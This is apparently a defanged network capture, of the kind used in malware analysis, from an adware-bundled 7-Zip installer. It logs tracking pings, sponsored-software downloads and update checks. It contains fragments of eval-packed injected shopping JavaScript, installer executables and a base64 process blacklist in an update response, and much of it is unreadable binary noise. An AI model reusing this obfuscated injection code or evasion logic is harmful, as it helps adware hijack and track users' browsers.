gning PCA..141112173206Z..150211055206Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......W0... .....7......150210174206Z0.
..*.H................].`...D..9.>LO.ey...Qx%.^.P.& ...D.......b}.K.
.[.....5.m....).....H..6R....G/ju.........:..A.#.9!......D5...|".w.x..
=.u..X6.7{..).XN....g......B.8.!&...........<7fS$..........t<X)%
.b(0.L@..i..Kn.......fX... ,...K\....U1cp).........y.T..?rm.t..Y.}.E..
-@.HTTP/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified:
 Thu, 13 Nov 2014 06:02:42 GMT..Accept-Ranges: bytes..ETag: "88cab6f7f
fcf1:0"..Server: Microsoft-IIS/8.5..VTag: 791936916300000000..P3P: CP=
"ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo
 CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-
Length: 554..Cache-Control: max-age=900..Date: Wed, 07 Jan 2015 09:37:
12 GMT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U...
.US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corpora
tion1#0!..U....Microsoft Code Signing PCA..141112173206Z..150211055206
Z.a0_0...U.#..0..........X..7.3...L...0... .....7.........0...U......W
0... .....7......150210174206Z0...*.H................].`...D..9.>LO
.ey...Qx%.^.P.& ...D.......b}.K..[.....5.m....).....H..6R....G/ju.....
....:..A.#.9!......D5...|".w.x..=.u..X6.7{..).XN....g......B.8.!&.....
......<7fS$..........t<X)%.b(0.L@..i..Kn.......fX... ,...K\.

<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.6002109252004877 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.8198936694568728 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /somopf/javascript.js?channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&instgrp=20141204__1086__lnk_aromani_70&trinity=Z15d7t64614c HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: i.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 09:34:53 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 07 Jan 2015 13:34:53 GMT

Cache-Control: max-age=14400

X-Origin: opt

X-Accel-Expires: 0
1c49../**. * See hXXp://VVV.pricejs.info/ for details.. * . * Copyrigh
t (C) 2014 pricejs.info. All rights reserved.. */..(function(){try{var
 tagUrl="hXXp://i.pricejs.info/somopf/javascript.js?channel=somopf&hid
=v5532D312D352D32312D323835383032303933352DB48A115F3C&instgrp=20141204
__1086__lnk_aromani_70&trinity=Z15d7t64614c&countryCode=UA&sset=7&ip=1
93.138.244.231";if(typeof window.JavaScriptJsTagUrl==='undefined'||win
dow.JavaScriptJsTagUrl==null){window.JavaScriptJsTagUrl=tagUrl}}catch(
e){}try{if(typeof window.JavaScriptJsTags==='undefined'||window.JavaSc
riptJsTags==null){window.JavaScriptJsTags=""}if(window.JavaScriptJsTag
s.length>0){window.JavaScriptJsTags=window.JavaScriptJsTags " : "}w
indow.JavaScriptJsTags=window.JavaScriptJsTags tagUrl}catch(e2){}})();
..eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt
(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!
''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){re
turn r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.repl
ace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('6 n;6 o;4(9 2m==
="8"){4(9 5==="8"){6 2n=c 2o(T){4(T.h("1X")>=0)7 T;t{6 18="";1q(6 i
=0;i<T.N;i =2)18=18 2p.2q(2r(T.1r(i,2),16));7 18}u(2s){7 T}};6 19="
i";6 1a="y";4(O.1b(P 13("1Y\\z","g"))){6 1s=O.1b(P 13("1Y\\z(. ?)($|\\
14|#)"))[1];4(1s.N>0&&1s==="G"){19="2t";4(O.1b(P 13("1Z\\z","g"))){
6 1t=O.1b(P 13("1Z\\z(. ?)($|\\14|#)"))[1];4(1t.N>0&&1t==="G")1a="G
"}}}5={"B":"2u","C":"","U":"","V":"","2v":"","19":19,"1c":"","1u":<<< skipped >>>

GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 339024

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Date: Thu, 01 Jan 2015 13:13:03 GMT

ETag: "54a522a1-52c50"

Expires: Sat, 31 Jan 2015 13:13:03 GMT

Last-Modified: Thu, 01 Jan 2015 10:34:09 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 505297

X-Cache: Hit from cloudfront

Via: 1.1 fa33eef0f024359c4b76b9960200b440.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nAnd5GCkcLazjkoRn3fSGug05dK973wVwtdBNHljKOhTsv7ZOhEEtA==

var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","c677ed22eed7f49fb1c55f70396c13f8","513eba82ce28999a775a1
e0e940d2ba4","5617660db3c6ac0476d867cca3b88fe8","e48ec7a3651ed003f8c06
1f518de9a4a","d04992ca4d0bbfe57c6e97c4800f9238","3fbd46e58e6a5fb439c6b
9ce6dca6722","9659eae7f67b76fb8644da35b1a3031f","cc2bebaa4fd273bc9bfd8
5189e750f1b","ff6e3f4612ef317625de5eb91140233f","bc2e6c682fb7411be447d
ed8eff5241b","1d60fc858146df68b9f8d259697f499c","a18281565d8fe250b850f
966a0c8054c","1d2be12b3c7e149eb9580da963e1ce05","886b52137277a7e848070
77888faf95b","73bcd3981149f5bffcb4bc0882d2136f","86c4d82fc0aedd1666acb
0abe4619a43","b53e20c91b81ec25a6d06d4cf351d0b2","2db77d0bbaad6f48449aa
2ee75b07b2f","4d03e7e5a92c5f56488651ea717cf464","233e5595b16e975bb4ebd
fd25620240a","e25c18fe7492b06a1acfe93ce6e83b8b","f13d88798f2b83aa50926
55b00be4ef1","b66380a53038ae2b7dd1bfaf6781d6ff","8afe94aa44f0ed7e607c9
86c538d37d7","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","e77ffd08f59704bdae2a2c7f4a86ed9f","1576c876d278876f29c79
6c876da7659","42115558454a5a92dee17a1e651b5692","e50173d2983f028042965
a37357931fc","063c233da86fe6f0bb4c9d332f494099","600dff3e7e087e8af4acd
d996b6ecbea","9bd5796c279f448b0b2b32b6271d67b2","e33d5df51a0913066917a
3a1bfbc9f57","66043d5ca4afedac52b066d69a271dde","2fcf8b55874afc412cf42
286c4942e81","f8e236df6124dfd9dfdf2dd1b82b3b40","f35460959faa7ac9c027d
ef739f6c927","f1165efcdc35ad738ec7b63656e4ea6d","d0dcf869247f0494e

<<< skipped >>>

GET /-889787909.js?dn=youtubeaccelerator.com&isc=0 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: c.sbitinjs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: openresty/1.5.12.1

Date: Wed, 07 Jan 2015 09:34:51 GMT

Content-Type: application/x-javascript

Content-Length: 27

Last-Modified: Wed, 19 Sep 2012 19:03:18 GMT

Connection: keep-alive

Vary: Accept-Encoding

ETag: "505a16f6-1b"

Expires: Wed, 07 Jan 2015 15:34:51 GMT

Cache-Control: max-age=21600

X-Origin: crown

Accept-Ranges: bytes

DealPly.queryServer(" ");..HTTP/1.1 200 OK..Server: openresty/1.5.12.1
..Date: Wed, 07 Jan 2015 09:34:51 GMT..Content-Type: application/x-jav
ascript..Content-Length: 27..Last-Modified: Wed, 19 Sep 2012 19:03:18 
GMT..Connection: keep-alive..Vary: Accept-Encoding..ETag: "505a16f6-1b
"..Expires: Wed, 07 Jan 2015 15:34:51 GMT..Cache-Control: max-age=2160
0..X-Origin: crown..Accept-Ranges: bytes..DealPly.queryServer(" ");...
.

GET /e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.7000383631906624&guid= HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: q.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:42 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:34:42 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.......

GET /e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.20595239031099377&guid= HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.1.5.0.55

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: q.pricejs.info

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:34:53 GMT

Last-Modified: Wed, 19 Nov 2014 11:21:56 GMT

Server: nginx/1.2.5

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:34:53 GMT..Last-Modified: Wed, 19 Nov 2014 11:21
:56 GMT..Server: nginx/1.2.5..Content-Length: 1..Connection: keep-aliv
e.....

GET /affiliate/client?dist=141&sub=iF17wJSsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Wed, 07 Jan 2015 09:34:39 GMT

Expires: Sun, 11 Jan 2015 09:34:39 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10737

Connection: keep-alive
...........}k..F..g.....6b..@.Yj............{.i.."@%..h......~#".$....
..3.l.[.Idd.2".Ar.e..~..v.....e...t....d..`.w.`_Dq.O.......%_e........
."-.w!<...?..;..'~....xY.cw^l..h.A.t.......*..$..f.,,.Y......0..C(^
.......?...YX-...b...Dq.:..%.O....... ...l...[.n..9.j<_....m..v.t.0
.x.D.\Jm..K..M?...].}.e...u.Y.c...A)\/.i......F..X...n.........5.V....
..@.Y?.#?....s..B.v.....(... ....T....l._....U(T..g=*...KQA....*SM}...
....y]..@....o.t.^..]..q~5...Qf...}./P.d.~J........{..sq......J..D....
.Be..`........x..........\.ul(..hl..q....f.V..wqTt.w.o.......,.....}(.
........p.....~.. .zQ.,.l.%^.........B.I..~#.Yg..o.'..'.. *K.'...0...-
V..Q...W?{.S`...r..>....6X.}../CQz{|B.n.>..w.......J.=A..[..o..S
*..2....*.....XH@yD.V....6]... 6.@F....S.[z.'.E....=!M.............s.m
.......E...k..n.......Do.t%5......=%.@z.....j.....B2.....'...~q....i..
.x.7..V.....oD./....D.../Z...{T..6Um.....$=.E.o.5....g..z......rp.3..c
.S.......f..2s.,|L...l.>T\W.....O...0.Z....'...[... @...'pE..pro...
9...E.. .....}Ut....-..=.....&{....[..^..!UL.F4n.n..o.%0]w...... .a..9
.. .v&H.-..1.`.....C5.......E../.&..x.R..K**.H..#..%....4.A$......#.. 
;..`.W..f.Q8E ..!..I...LH.....|. ........8.G.>.....(..cyK~a ..P{"@.
kD......V.F....Q...8...r......@...2$@C..0aW`X.....:6..h....z..C/.A]V..
.."..x...j.^x=.7.W....)H2.....z.'c....d..&..Ng.b......._...Z[...0.....
............K.7.O..b.........Q.I(.....$..#..u.. =..I.B.xL...3..F....Lw
..S(vf.9/.l.R..x!v..7..@....<....'.=...J....82...W........`.R..z..b
.{(..p.]f}..i.]Nf.l:.;..Z.VE)..Ul.b...3..'.....Z.._......43.&.5..s<<< skipped >>>

GET /affiliate/client?dist=141&sub=IF17wsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Wed, 07 Jan 2015 09:34:51 GMT

Expires: Sun, 11 Jan 2015 09:34:51 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

Content-Length: 10734

Connection: keep-alive
...........}k..F..g..(q..b.&.... .-.7|.....w.!ky .6...........2..(.`..
....U.l.......z.p.e..~..v.....e...t....f..`.w.`_Dq.O.......%_e........
."-.w!<......;..'~....xY.cw^l..h.A.t.......*..$..f.,,.Y......0..C(^
.......?...YX-...b...Dq.:..%.O....... ...l...[.n..9.j<_....m..v.t.0
.x.D.\Jm..K..M?...].C.e...u.Y.c...A)\/.i......F..X...n.........5.V....
..@.Y?.#?....s..B.v.....(... ._Q..P.. .|.^G.%.P....zT.[a...l.4.U...z..
......$..0. ..d.6...."M..j00.....%.8^..........).....]..z.K?R..T..r]?.
......H.....}....!\._ya......P.q.....H......................GY>....
.PN7.w......2&S...P#A...dY..6J..l.9..-........F.......O..O..WT..O.]#`.
?.[..... ..~.....9....}....m.l..?^.........}...>._......{.......(Y.
TvMet]..U..i;"........8#.m."..Al...~.d..v...Ox.t...{B.P...5D......-...
4......... ."........,....Jj....E.{J...|i.;;...9.m.d....xO.5....Hia.H.
...ox...:......_j.?..h=?_........m..V.i..Jz.....k~3$......].......g,..
...G}/......e..Y..P._.&|...d.....,.ca4...3.O.....!.A../.O........7.s./
...]W..../...`...[..G6c]62M..Y...&...]B....h...p...K`.... n..@..NGs.]@
..L..[.3b..$...A.j....S3..V]_.L(..p.4A.TT....G..K.(..i..H"..y..G....H,
..^.z.YG......H.&...0!].^\....."V....Z.....@.....$;..-.....B...)....[H
.:X..A._9D.R..4f..e.jz~R.i.N........].a9C......m.a.{...z....uY........
a.w.%x.....^..... ...Wz.....a.~/..V...:....'V:...~..Fhm.c..`3....O...v
..:.../a.l>.....d.....PF.'.Dt........#.}.....'!...1....p<..spt2.
..N...M.....K.8...y$.L.....w.P:...h..w.*..l......^.;l.Ww.V.QH%l.u.....
...]t.....=v9.Y..d.`.k.Z..$_V...=.:.l>...3..kU8~...2.*......xf.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:14 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@..@.data........
........r..............@....ndata.......@...........................rs
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......P
p@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B 1d8a9eu4WvsXg2Ujmg/gTMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1TdKktapUawNelj9H9NIntDWf ofqKPWEn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:27 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 07 Jan 2015 09:33:27 GMT..Content-Length: 0..

GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.0.6&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:35:03 GMT..Content-Length: 0..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623257&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:34:38 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269576

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 52d34eb8f2bf884db60fa2b0745f46ce.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XOH4NxaBQDFtZ42pEzkkrKr5uQwAzW9X1dbME2b3Im6s0o62XHr_Bg==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@..@.data................r..........
....@....ndata.......@...........................rsrc................v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@
..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

